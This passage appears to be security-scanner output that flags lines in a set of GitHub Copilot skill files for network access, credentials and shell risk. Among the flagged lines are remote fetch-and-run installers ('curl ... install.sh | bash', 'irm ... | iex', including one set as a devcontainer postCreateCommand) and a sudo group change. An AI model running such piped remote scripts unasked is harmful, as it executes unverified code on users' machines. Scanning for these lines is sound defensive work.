    - **Go:** No first-party auto-instrumentation packages today — use the OpenTelemetry Go SDK with manual [OpenInference](https://github.com/Arize-ai/openinference) attributes per [Manual instrumentation](https://arize.com/docs/ax/instrument/
  • Network accessline 118
    - **Platforms (UI-based):** [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow), [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise), [Dify](https://arize.com/docs/ax/integrations/platforms/dify), [Prompt f
  • Network accessline 119
    - **Fallback:** [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation), [All integrations](https://arize.com/docs/ax/integrations).
  • Network accessline 121
    **Fetch the matched doc pages** from the [full routing table in PROMPT.md](https://arize.com/docs/PROMPT.md) for exact installation and code snippets. Use [llms.txt](https://arize.com/docs/llms.txt) as a fallback for doc discovery if needed
  • Network accessline 134
    - TypeScript/JavaScript: `@opentelemetry/sdk-trace-node` plus the relevant `@arizeai/openinference-*` package.    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry
  • Network accessline 135
    - Java: OpenTelemetry SDK plus `openinference-instrumentation-*` in pom.xml or build.gradle.    - Go: `go get go.opentelemetry.io/otel go.opentelemetry.io/otel/sdk go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp` — no auto-i
  • Network accessline 136
    [Credential-related source omitted]
  • Access to secretsline 136
    [Credential-related source omitted]
  • Network accessline 137
    [Credential-related source omitted]
  • Access to secretsline 137
    [Credential-related source omitted]
  • Network accessline 138
    - Run `ax profiles show` to check for an existing profile.    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](ht
  • Network accessline 139
    - If no profile exists, guide the user to run `ax profiles create` which provides an **interactive wizard** that walks through API key and space setup. See [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles) for details.
  • Network accessline 140
    - If the user needs to find their API key manually, direct them to [https://app.arize.com](https://app.arize.com) and to navigate to the settings page (do not use organization-specific URLs with placeholder IDs — they won't resolve for new 
  • Access to secretsline 141
    [Credential-related source omitted]
  • Network accessline 273
    See [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation) for more span kinds and attributes.
  • Access to secretsline 288
    [Credential-related source omitted]
  • Network accessline 311
    "arize-ax-docs": {     "url": "https://arize.com/docs/mcp"
  • Network accessline 312
    "url": "https://arize.com/docs/mcp"
  • Network accessline 318
    See the full setup at [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant).
  • Network accessline 322
    | Resource | URL | |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 323
    |----------|-----| | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant | | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 324
    | Agent-Assisted Tracing Setup | https://arize.com/docs/ax/alyx/tracing-assistant |
  • Network accessline 325
    | Agent Setup Prompt (full routing + phases) | https://arize.com/docs/PROMPT.md |
  • Network accessline 326
    | Arize AX Docs | https://arize.com/docs/ax |
  • Network accessline 327
    | Full integration list | https://arize.com/docs/ax/integrations |
  • Network accessline 328
    | Doc index (llms.txt) | https://arize.com/docs/llms.txt |
  • Access to secretsline 338
    [Credential-related source omitted]
  • Access to secretsline 375
    [Credential-related source omitted]
  • Network accessline 383
    - [Agent-Assisted Tracing Setup](https://arize.com/docs/ax/alyx/tracing-assistant)
  • Network accessline 384
    - [Agent Setup Prompt](https://arize.com/docs/PROMPT.md)
  • Network accessline 385
    - [Arize AX Docs](https://arize.com/docs/ax)
  • Network accessline 386
    - [Full integration list](https://arize.com/docs/ax/integrations)
  • Network accessline 387
    - [Manual instrumentation](https://arize.com/docs/ax/instrument/manual-instrumentation)
  • Network accessline 388
    - [OpenInference](https://github.com/Arize-ai/openinference)
  • Network accessline 389
    - [CLI profiles docs](https://arize.com/docs/api-clients/cli/profiles)
  • Network accessline 390
    - [Arize app](https://app.arize.com)
  • Network accessline 391
    - [Doc index](https://arize.com/docs/llms.txt)
  • Network accessline 392
    - [Arize Docs MCP](https://arize.com/docs/mcp)
  • Network accessline 393
    - [OpenAI integration](https://arize.com/docs/ax/integrations/llm-providers/openai)
  • Network accessline 394
    - [Anthropic integration](https://arize.com/docs/ax/integrations/llm-providers/anthropic)
  • Network accessline 395
    - [LiteLLM integration](https://arize.com/docs/ax/integrations/llm-providers/litellm)
  • Network accessline 396
    - [Google Gen AI integration](https://arize.com/docs/ax/integrations/llm-providers/google-gen-ai)
  • Network accessline 397
    - [Amazon Bedrock integration](https://arize.com/docs/ax/integrations/llm-providers/amazon-bedrock)
  • Network accessline 398
    - [Ollama integration](https://arize.com/docs/ax/integrations/llm-providers/llama)
  • Network accessline 399
    - [Groq integration](https://arize.com/docs/ax/integrations/llm-providers/groq)
  • Network accessline 400
    - [MistralAI integration](https://arize.com/docs/ax/integrations/llm-providers/mistralai)
  • Network accessline 401
    - [OpenRouter integration](https://arize.com/docs/ax/integrations/llm-providers/openrouter)
  • Network accessline 402
    - [VertexAI integration](https://arize.com/docs/ax/integrations/llm-providers/vertexai)
  • Network accessline 403
    - [LangChain](https://arize.com/docs/ax/integrations/python-agent-frameworks/langchain)
  • Network accessline 404
    - [LangGraph](https://arize.com/docs/ax/integrations/python-agent-frameworks/langgraph)
  • Network accessline 405
    - [LlamaIndex](https://arize.com/docs/ax/integrations/python-agent-frameworks/llamaindex)
  • Network accessline 406
    - [CrewAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/crewai)
  • Network accessline 407
    - [DSPy](https://arize.com/docs/ax/integrations/python-agent-frameworks/dspy)
  • Network accessline 408
    - [AutoGen](https://arize.com/docs/ax/integrations/python-agent-frameworks/autogen)
  • Network accessline 409
    - [Semantic Kernel](https://arize.com/docs/ax/integrations/python-agent-frameworks/semantic-kernel)
  • Network accessline 410
    - [Pydantic AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/pydantic)
  • Network accessline 411
    - [Haystack](https://arize.com/docs/ax/integrations/python-agent-frameworks/haystack)
  • Network accessline 412
    - [Guardrails AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/guardrails-ai)
  • Network accessline 413
    - [Hugging Face Smolagents](https://arize.com/docs/ax/integrations/python-agent-frameworks/hugging-face-smolagents)
  • Network accessline 414
    - [Instructor](https://arize.com/docs/ax/integrations/python-agent-frameworks/instructor)
  • Network accessline 415
    - [Agno](https://arize.com/docs/ax/integrations/python-agent-frameworks/agno)
  • Network accessline 416
    - [Google ADK](https://arize.com/docs/ax/integrations/python-agent-frameworks/google-adk)
  • Network accessline 417
    - [MCP](https://arize.com/docs/ax/integrations/python-agent-frameworks/model-context-protocol)
  • Network accessline 418
    - [Portkey](https://arize.com/docs/ax/integrations/python-agent-frameworks/portkey)
  • Network accessline 419
    - [Together AI](https://arize.com/docs/ax/integrations/python-agent-frameworks/together-ai)
  • Network accessline 420
    - [BeeAI](https://arize.com/docs/ax/integrations/python-agent-frameworks/beeai)
  • Network accessline 421
    - [AWS Bedrock Agents](https://arize.com/docs/ax/integrations/python-agent-frameworks/aws)
  • Network accessline 422
    - [LangChain JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/langchain)
  • Network accessline 423
    - [Mastra](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/mastra)
  • Network accessline 424
    - [Vercel AI SDK](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/vercel)
  • Network accessline 425
    - [BeeAI JS](https://arize.com/docs/ax/integrations/ts-js-agent-frameworks/beeai)
  • Network accessline 426
    - [LangChain4j](https://arize.com/docs/ax/integrations/java/langchain4j)
  • Network accessline 427
    - [Spring AI](https://arize.com/docs/ax/integrations/java/spring-ai)
  • Network accessline 428
    - [Arconia](https://arize.com/docs/ax/integrations/java/arconia)
  • Network accessline 429
    - [LangFlow](https://arize.com/docs/ax/integrations/platforms/langflow)
  • Network accessline 430
    - [Flowise](https://arize.com/docs/ax/integrations/platforms/flowise)
  • Network accessline 431
    - [Dify](https://arize.com/docs/ax/integrations/platforms/dify)
  • Network accessline 432
    - [Prompt flow](https://arize.com/docs/ax/integrations/platforms/prompt-flow)

harness/github-copilot/skills/arize-instrumentation/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com by navigating to the settings page. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmati
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-link/SKILL.md

  • Network accessline 35
    Default `base_url` is `https://app.arize.com`; override it only for on-prem deployments.
  • Network accessline 39
    All path IDs must be base64-encoded with characters `A-Za-z0-9+/=`. Raw numeric IDs produce valid-looking URLs that 404. If the user provides a number, ask them to copy the ID directly from an Arize browser URL such as `https://app.arize.co
  • Network accessline 83
    | 404 | Wrong ID or non-base64 ID | Re-check `org_id`, `space_id`, and `project_id` from the browser URL. | | Span not highlighted | `span_id` belongs to a different trace | Verify `span_id` against exported span data. | | `org_id` unknown 
  • Network accessline 85
    | `org_id` unknown | `ax` CLI does not expose it | Ask the user to copy it from `https://app.arize.com/organizations/{org_id}/spaces/{space_id}/…`. |
  • Network accessline 127
    - [Arize application](https://app.arize.com)

harness/github-copilot/skills/arize-link/references/EXAMPLES.md

  • Network accessline 14
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=gene
  • Network accessline 20
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedTraceId={trace_id}&selectedSpanId={span_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&en
  • Network accessline 26
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/projects/{project_id}?selectedSessionId={session_id}&queryFilterA=&selectedTab=llmTracing&timeZoneA=America%2FLos_Angeles&startA={start_ms}&endA={end_ms}&envA=tracing&modelType=
  • Network accessline 32
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=examples
  • Network accessline 38
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/datasets/{dataset_id}?selectedTab=experiments
  • Network accessline 44
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues
  • Network accessline 50
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/queues/{queue_id}
  • Network accessline 56
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}
  • Network accessline 62
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/evaluators/{evaluator_id}?version={version_url_encoded}
  • Network accessline 68
    https://app.arize.com/organizations/{org_id}/spaces/{space_id}/annotation-configs

harness/github-copilot/skills/arize-prompt-optimization/SKILL.md

  • Network accessline 69
    If an `ax` command fails, troubleshoot based on the error: - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is
  • Network accessline 70
    - `command not found` or version error → see references/ax-setup.md - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-prof
  • Network accessline 71
    - `401 Unauthorized` / missing API key → run `ax profiles show` to inspect the current profile. If the profile is missing or the API key is wrong, follow references/ax-profiles.md to create/update it. If the user doesn't have their key, dir
  • Access to secretsline 74
    [Credential-related source omitted]
  • Network accessline 496
    - [ ] The output follows the `## Output template` structure and reports commands run or skipped. ## References - [Arize API Keys](https://app.arize.com/admin)
  • Network accessline 498
    - [Arize API Keys](https://app.arize.com/admin)

harness/github-copilot/skills/arize-prompt-optimization/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/arize-trace/SKILL.md

  • Network accessline 30
    | --- | --- | | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API ke
  • Network accessline 31
    | `ax: command not found` or version error | Read `references/ax-setup.md`; reinstall outdated `ax` with `uv tool install --force --reinstall arize-ax-cli` when shell access is available. | | `No profile found`, missing API key, or `401 Una
  • Network accessline 32
    | `No profile found`, missing API key, or `401 Unauthorized` | Run `ax profiles show`. If missing or wrong, read `references/ax-profiles.md`. If the user lacks a key, direct them to https://app.arize.com/admin > API Keys. |
  • Network accessline 245
    - [Arize API keys](https://app.arize.com/admin)

harness/github-copilot/skills/arize-trace/references/ax-profiles.md

  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 67
    [Credential-related source omitted]
  • Network accessline 70
    They can find their key at https://app.arize.com/admin > API Keys. Recommend they create a **scoped service key** (not a personal user key) — service keys are not tied to an individual account and are safer for programmatic use. Keys are sp
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/github-copilot/skills/aspire/SKILL.md

  • Network accessline 28
    # Linux / macOS curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 29
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 29
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 31
    # Windows PowerShell irm https://aspire.dev/install.ps1 | iex
  • Network accessline 32
    irm https://aspire.dev/install.ps1 | iex
  • Network accessline 43
    Prefer the Aspire MCP server when available. Aspire CLI 13.2+ adds docs search tools from PR https://github.com/dotnet/aspire/pull/14028 ; update with `aspire update --self --channel daily`. David Pine's overview is https://davidpine.dev/po
  • Network accessline 194
    - [Documentation](https://aspire.dev)
  • Network accessline 195
    - [Runtime repo](https://github.com/dotnet/aspire)
  • Network accessline 196
    - [Docs repo](https://github.com/microsoft/aspire.dev)
  • Network accessline 197
    - [Samples](https://github.com/dotnet/aspire-samples)
  • Network accessline 198
    - [Community Toolkit](https://github.com/CommunityToolkit/Aspire)
  • Network accessline 199
    - Dashboard image: `mcr.microsoft.com/dotnet/aspire-dashboard` - [Discord](https://aka.ms/aspire/discord) - [Reddit](https://www.reddit.com/r/aspiredotdev/)
  • Network accessline 200
    - [Discord](https://aka.ms/aspire/discord)
  • Network accessline 201
    - [Reddit](https://www.reddit.com/r/aspiredotdev/)

harness/github-copilot/skills/aspire/references/architecture.md

  • Network accessline 137
    services__api__http__0=http://localhost:5234
  • Network accessline 138
    services__api__https__0=https://localhost:7234
  • Network accessline 139
    services__ml__http__0=http://localhost:8000
  • Access to secretsline 162
    [Credential-related source omitted]
  • Network accessline 228
    OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Access to secretsline 329
    [Credential-related source omitted]

harness/github-copilot/skills/aspire/references/cli-reference.md

  • Network accessline 12
    # Linux / macOS curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 13
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 13
    curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 15
    # Windows PowerShell irm https://aspire.dev/install.ps1 | iex
  • Network accessline 16
    irm https://aspire.dev/install.ps1 | iex
  • Access to secretsline 146
    [Credential-related source omitted]
  • Access to secretsline 200
    [Credential-related source omitted]
  • Access to secretsline 219
    [Credential-related source omitted]

harness/github-copilot/skills/aspire/references/dashboard.md

  • Network accessline 65
    - **Model metadata** — which model, temperature, max tokens - **Latency** — time per AI call - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry
  • Network accessline 67
    - Requires services to emit [GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/) via OpenTelemetry
  • Network accessline 106
    # Environment variables for any language's OpenTelemetry SDK OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Network accessline 107
    OTEL_EXPORTER_OTLP_ENDPOINT=http://localhost:4317
  • Network accessline 122
    build: ./api     environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 123
    environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889       - OTEL_SERVICE_NAME=api
  • Network accessline 124
    - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 128
    build: ./worker     environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 129
    environment:       - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889       - OTEL_SERVICE_NAME=worker
  • Network accessline 130
    - OTEL_EXPORTER_OTLP_ENDPOINT=http://dashboard:18889
  • Network accessline 154
    # Accept OTLP over gRPC (default) -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889
  • Network accessline 155
    -e DASHBOARD__OTLP__GRPC__ENDPOINT=http://0.0.0.0:18889
  • Network accessline 157
    # Accept OTLP over HTTP -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890
  • Network accessline 158
    -e DASHBOARD__OTLP__HTTP__ENDPOINT=http://0.0.0.0:18890
  • Network accessline 203
    # Aspire injects OTEL_EXPORTER_OTLP_ENDPOINT automatically endpoint = os.environ.get("OTEL_EXPORTER_OTLP_ENDPOINT", "http://localhost:4317")
  • Network accessline 204
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Network accessline 219
    new BatchSpanProcessor(     new OTLPTraceExporter({       url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",
  • Network accessline 220
    new OTLPTraceExporter({       url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",     })
  • Network accessline 221
    url: process.env.OTEL_EXPORTER_OTLP_ENDPOINT || "http://localhost:4317",

harness/github-copilot/skills/aspire/references/deployment.md

  • Network accessline 143
    - name: Install Aspire CLI         run: curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 144
    run: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 144
    run: curl -sSL https://aspire.dev/install.sh | bash
  • Dangerous shell operationline 171
    - script: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 171
    - script: curl -sSL https://aspire.dev/install.sh | bash
  • Network accessline 227
    "ghcr.io/devcontainers/features/node:1": {}   },   "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
  • Network accessline 228
    },   "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",   "forwardPorts": [18888],
  • Dangerous shell operationline 229
    "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",
  • Network accessline 229
    "postCreateCommand": "curl -sSL https://aspire.dev/install.sh | bash",

harness/github-copilot/skills/aspire/references/integrations-catalog.md

  • Network accessline 22
    > **Tip:** These tools return the same data as the [official integrations gallery](https://aspire.dev/integrations/gallery/). Prefer them over static docs — integrations are added frequently.
  • Network accessline 30
    - **Hosting package** (`Aspire.Hosting.*`) — adds the resource to the AppHost - **Client package** (`Aspire.*`) — configures the client SDK in your service with health checks, telemetry, and retries - **Community Toolkit** (`CommunityToolki
  • Network accessline 32
    - **Community Toolkit** (`CommunityToolkit.Aspire.*`) — community-maintained integrations from [Aspire Community Toolkit](https://github.com/CommunityToolkit/Aspire)

harness/github-copilot/skills/aspire/references/mcp-server.md

  • Network accessline 5
    Reference: https://aspire.dev/get-started/configure-mcp/
  • Network accessline 87
    > **Version gate:** These tools were added in [PR #14028](https://github.com/dotnet/aspire/pull/14028) and ship in Aspire CLI **13.2**. If you are on 13.1, these tools will NOT appear. To get them early, update to the daily channel: `aspire
  • Network accessline 126
    - [VS Code](https://code.visualstudio.com/docs/agent-customization/mcp-servers) (GitHub Copilot)
  • Network accessline 127
    - [Copilot CLI](https://docs.github.com/en/copilot/how-tos/use-copilot-agents/use-copilot-cli#add-an-mcp-server)
  • Network accessline 128
    - [Claude Code](https://docs.claude.com/en/docs/claude-code/mcp)
  • Network accessline 129
    - [OpenCode](https://opencode.ai/docs/mcp-servers/)
  • Network accessline 187
    If you run into issues, check the [open MCP issues on GitHub](https://github.com/dotnet/aspire/issues?q=is%3Aissue+is%3Aopen+label%3Aarea-mcp).
  • Network accessline 191
    - [aspire mcp command](https://aspire.dev/reference/cli/commands/aspire-mcp/)
  • Network accessline 192
    - [aspire mcp init command](https://aspire.dev/reference/cli/commands/aspire-mcp-init/)
  • Network accessline 193
    - [aspire mcp start command](https://aspire.dev/reference/cli/commands/aspire-mcp-start/)
  • Network accessline 194
    - [GitHub Copilot in the Dashboard](https://aspire.dev/dashboard/copilot/)
  • Network accessline 195
    - [How I taught AI to read Aspire docs](https://davidpine.dev/posts/aspire-docs-mcp-tools/)

harness/github-copilot/skills/aspire/references/polyglot-apis.md

  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 72
    [Credential-related source omitted]
  • Access to secretsline 73
    [Credential-related source omitted]

harness/github-copilot/skills/aspire/references/troubleshooting.md

  • Dangerous shell operationline 62
    | "Permission denied" on Linux      | Add user to `docker` group: `sudo usermod -aG docker $USER`                                            |
  • Network accessline 188
    | Channel                 | URL                                            | | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        |
  • Network accessline 189
    | ----------------------- | ---------------------------------------------- | | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        | | GitHub Issues (docs)    | https://github.com/microsoft/aspire.dev/issues |
  • Network accessline 190
    | GitHub Issues (runtime) | https://github.com/dotnet/aspire/issues        |
  • Network accessline 191
    | GitHub Issues (docs)    | https://github.com/microsoft/aspire.dev/issues |
  • Network accessline 192
    | Discord                 | https://aka.ms/aspire/discord                  |
  • Network accessline 194
    | Reddit                  | https://www.reddit.com/r/aspiredotdev/         |

harness/github-copilot/skills/automate-this/SKILL.md

  • Network accessline 107
    echo "=== Node ===" && { command -v node && node --version 2>&1; } || echo "not installed" echo "=== Homebrew ===" && { command -v brew && echo "installed"; } || echo "not installed" echo "=== Common Tools ===" && for cmd in curl jq playwri
  • Network accessline 109
    echo "=== Common Tools ===" && for cmd in curl jq playwright selenium osascript automator crontab; do command -v $cmd >/dev/null 2>&1 && echo "$cmd: yes" || echo "$cmd: no"; done
  • Access to secretsline 182
    [Credential-related source omitted]

harness/github-copilot/skills/autoresearch/SKILL.md

  • Network accessline 7
    author: luiscantero   compatibility: Requires git, a git repository, and terminal access to run commands.   inspired-by: "https://github.com/karpathy/autoresearch"
  • Network accessline 8
    compatibility: Requires git, a git repository, and terminal access to run commands.   inspired-by: "https://github.com/karpathy/autoresearch" ---
  • Network accessline 9
    inspired-by: "https://github.com/karpathy/autoresearch"
  • Network accessline 26
    - Requires git, a git repository, and terminal access. - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>.
  • Network accessline 27
    - Requires a measurable metric with an exact command, extraction rule, and direction. - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>. - Do not use for one-shot tasks, simple bug fixes, code review, or task
  • Network accessline 28
    - Inspired by Karpathy's autoresearch: <https://github.com/karpathy/autoresearch>.
  • Network accessline 167
    - [Karpathy autoresearch](https://github.com/karpathy/autoresearch)

harness/github-copilot/skills/aws-cost-optimize/SKILL.md

  • Network accessline 31
    **Process**: 1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`
  • Network accessline 32
    1. **Load Best Practices**:    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`    - Fetch the AWS Well-Architected Cost Optimization pillar summary
  • Network accessline 33
    - Fetch `https://docs.aws.amazon.com/cost-management/latest/userguide/cost-optimization-best-practices.html`

harness/github-copilot/skills/aws-resource-health-diagnose/SKILL.md

  • Network accessline 22
    - The target resource must be identified by name, type, and optionally region/account. - CloudWatch logs and metrics should be enabled; if not, report the limitation and recommend enablement. - Fetch `https://docs.aws.amazon.com/AmazonCloud
  • Network accessline 24
    - Fetch `https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/` when current monitoring guidance is needed.
  • Network accessline 168
    - [Amazon CloudWatch monitoring](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/)

harness/github-copilot/skills/aws-well-architected-review/SKILL.md

  • Network accessline 22
    - IaC should be present as Terraform, CloudFormation, CDK, or SAM. If none exists, review live resources only and report the gap. - GitHub issue creation requires an authenticated GitHub tool or `gh`; otherwise output issue-ready Markdown. 
  • Network accessline 24
    - Fetch `https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html` and relevant lenses when current best practices are needed.
  • Network accessline 211
    - [AWS Well-Architected Framework](https://docs.aws.amazon.com/wellarchitected/latest/framework/welcome.html)

harness/github-copilot/skills/az-cost-optimize/SKILL.md

  • Network accessline 73
    Calculate CPU and memory utilization averages, database throughput patterns, storage access frequency, and Function execution rates. Validate current monthly cost before recommendations by mapping `Resource -> Current SKU -> Estimated month

harness/github-copilot/skills/azure-agentic-architecture-patterns/SKILL.md

  • Network accessline 66
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 67
    - [Azure Well-Architected for AI workloads](https://learn.microsoft.com/azure/well-architected/ai/)
  • Network accessline 68
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 69
    - [Model Context Protocol](https://modelcontextprotocol.io/)
  • Network accessline 70
    - [GitHub Models](https://docs.github.com/github-models)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/caching.md

  • Network accessline 46
    - [Azure API Management semantic caching policy](https://learn.microsoft.com/azure/api-management/azure-openai-semantic-cache-lookup-policy)
  • Network accessline 47
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)
  • Network accessline 48
    - [RedisVL semantic cache](https://redis.io/docs/latest/integrate/redisvl/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/context-curation.md

  • Network accessline 47
    - [Retrieval augmented generation on Azure AI Search](https://learn.microsoft.com/azure/search/retrieval-augmented-generation-overview)
  • Network accessline 48
    - [Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/)
  • Network accessline 49
    - [Azure Managed Redis vector search](https://learn.microsoft.com/azure/redis/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/evaluation-observability-cost.md

  • Network accessline 35
    - [Azure AI Foundry evaluation](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)
  • Network accessline 36
    - [OpenTelemetry GenAI semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/)
  • Network accessline 37
    - [Monitor generative AI applications](https://learn.microsoft.com/azure/ai-foundry/how-to/monitor-applications)
  • Network accessline 38
    - [Azure Well-Architected cost optimization](https://learn.microsoft.com/azure/well-architected/cost-optimization/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/guardrails-and-identity.md

  • Network accessline 36
    - [Microsoft Entra Agent ID](https://learn.microsoft.com/entra/)
  • Network accessline 37
    - [Azure AI Content Safety](https://learn.microsoft.com/azure/ai-services/content-safety/)
  • Network accessline 38
    - [Prompt Shields](https://learn.microsoft.com/azure/ai-services/content-safety/concepts/jailbreak-detection)
  • Network accessline 39
    - [Azure Well-Architected security for AI](https://learn.microsoft.com/azure/well-architected/ai/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/memory.md

  • Network accessline 39
    - [Azure AI Foundry Agent Service threads](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 40
    - [Azure Managed Redis](https://learn.microsoft.com/azure/redis/)
  • Network accessline 41
    - [Azure AI Search](https://learn.microsoft.com/azure/search/)

harness/github-copilot/skills/azure-agentic-architecture-patterns/references/model-routing.md

  • Network accessline 35
